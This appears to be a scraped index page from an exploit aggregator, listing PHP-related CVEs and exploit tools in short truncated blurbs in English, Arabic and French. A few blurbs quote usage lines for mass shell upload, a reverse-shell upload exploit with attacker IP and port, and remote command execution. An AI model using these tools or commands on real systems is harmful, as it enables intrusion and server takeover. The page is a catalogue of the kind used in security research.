KindEditor 4.1.11 - Cross-Site Scripting

KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter. id: CVE-2019-7543 info: name: KindEditor 4.1.11 - Cross-Site Scripting author: pikpikcu severity: medium description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the...

WordPress UserPro 4.9.32 - Cross-Site Scripting

WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API v2 it relies on allows it via the example/success.php errordescription parameter. id: CVE-2019-14470 info: name: WordPress UserPro 4.9.32 - Cross-Site Scripting author: daffainfo severity: mediu...

Php-mod/curl Library <2.3.2 - Cross-Site Scripting

Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the postfilepathupload.php key parameter and the POST data to postmultidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other...

WordPress Redux Framework <=4.2.11 - Information Disclosure

WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 has...

Pinger 1.0 - Remote Code Execution

Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters. id:...

NUUO Camera <=20250203 - OS Command Injection

NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handleconfig.php, letting remote attackers execute arbitrary commands, exploit requires remote access. id: CVE-2025-1338 info: name: NUUO Camera =20250203 - OS Command Injection author: Ark...

uWSGI PHP Plugin Local File Inclusion

uWSGI PHP Plugin before 2.0.17 mishandles a DOCUMENTROOT check during use of the --php-docroot option, making it susceptible to local file inclusion. id: CVE-2018-7490 info: name: uWSGI PHP Plugin Local File Inclusion author: madrobot severity: high description: uWSGI PHP Plugin before 2.0.17...

ZZZCMS ZZZPHP 1.6.3 – Remote PHP Code Execution (RCE)

ZZZCMS zzzphp v1.6.3 contains a remote code execution caused by lack of restrictions in inc/zzzfile.php, letting attackers execute arbitrary PHP code via a crafted URL in the plugins/ueditor/php/controller.php?action=catchimage source parameter, exploit requires attacker to send malicious URL and...

PHP Login System 2.0.1 - Cross-Site Scripting

msaad1999's PHP-Login-System 2.0.1 contains a reflected cross-site scripting caused by unsanitized input in 'validator' parameter in /reset-password, letting remote attackers execute arbitrary JavaScript in a user's browser, exploit requires attacker to craft malicious URL id: CVE-2023-38875 info...

Bughound

What is Bughound? Bughound is an open-source static code analysis tool that analyzes your code and sends the results to Elasticsearch and Kibana to get useful insights about the potential vulnerabilities in your code. Bughound has its own Elasticsearch and Kibana Docker image that is preconfigure...

SCANNER-INURLBR

الوصف بحث متقدم في محركات البحث، يتيح التحليل المقدم لاستغلال GET / POST لالتقاط رسائل البريد الإلكتروني والروابط، مع صلة تحقق مخصصة داخلية لكل هدف / رابط يتم العثور عليه. أداة PHP يمكن تشغيلها على توزيعات لينكس مختلفة تساعد المخترقين ومتخصصي الأمن في استخدام محركات البحث الخاصة بهم. هناك عدة طرق...

ExpStruts

ExpStruts ExpStruts هي أداة استغلال جماعية مبنية على PHP لـ CVE-2017-5638 .. لقطات الشاشة ⚠️ المتطلبات Python3 لـ Google Scraper الخاص بـ MakMan Abk Khan @asystolik...

CVE-2024-25600-mass

رفع جماعي لشيل لثغرة cve python3 exploit.py -l yourlist.txt مسار الشيل https://examplewebsite.com/asd.php...

LFISuite

LFI Suite What is LFI Suite? LFI Suite is a totally automatic tool able to scan and exploit Local File Inclusion vulnerabilities using many different methods of attack, listed in the section Features. Features Works with Windows, Linux and OS X Automatic Configuration Automatic Update Provides 8...

CVE-2024-48359

CVE-2024-48359 - Qualitor = v8.24 ثغرة تنفيذ الأوامر عن بُعد غير المصادق عليها RCE PoC CVE-2024-48359 | Qualitor = v8.24 RCE الوصف Qualitor هي منصة لإدارة عمليات الأعمال، ويتواجد هذا النظام في العديد من الشركات في البرازيل ويمكن تحديده ببساطة من خلال استخدام Google dorking. حدد فريقنا ثغرة أمنية ...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 رفع شيل عكسي استغلال لـ WpDiscuz 7.0.4 يستند إلى الاستغلال الذي كتبه h3v0x. يستغل الثغرة ويرفع شيل PHP عكسي. كان الإلهام من تحدي Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 مثال للاستخدام:...

cve-2024-4577

cve-2024-4577 poc تحقق من وجود ثغرات python cve-2024-4577.py -u http://172.16.128.133 بعد اكتشاف ثغرة، يمكنك استخدام -c لتنفيذ أمر مخصص python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day تنفيذ كود PHP عن بُعد Perl هذا استغلال 0day من نوع RCE في نظام Drupal CMS يمكنك رفع Payload على الخادم. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 كيفية تشغيل الاستغلال: 1-git clone...

CVE-2025-49113

CVE-2025-49113 – PoC d'exécution de code à distance RCE Roundcube Ce dépôt contient une preuve de concept PoC pour CVE-2025-49113 , une vulnérabilité critique d'exécution de code à distance dans les versions de Roundcube Webmail antérieures à 1.5.10 et 1.6.11. La vulnérabilité provient d'une...

CVE-2018-20718

CVE-2018-20718 هذا هو POC لثغرة CVE-2018-20718. إنها ثغرة حقن كائنات PHP. تؤثر الثغرة على جميع إصدارات Pydio قبل الإصدار 8.2.1 وتؤدي إلى تنفيذ أكواد برمجية عن بُعد دون مصادقة. تم اكتشافها في الأصل بواسطة RIPS. لقد وجدت أداة gadget في Pydio\Core\Controller\ShutdownScheduler تسمح بتنفيذ كود عن بُعد...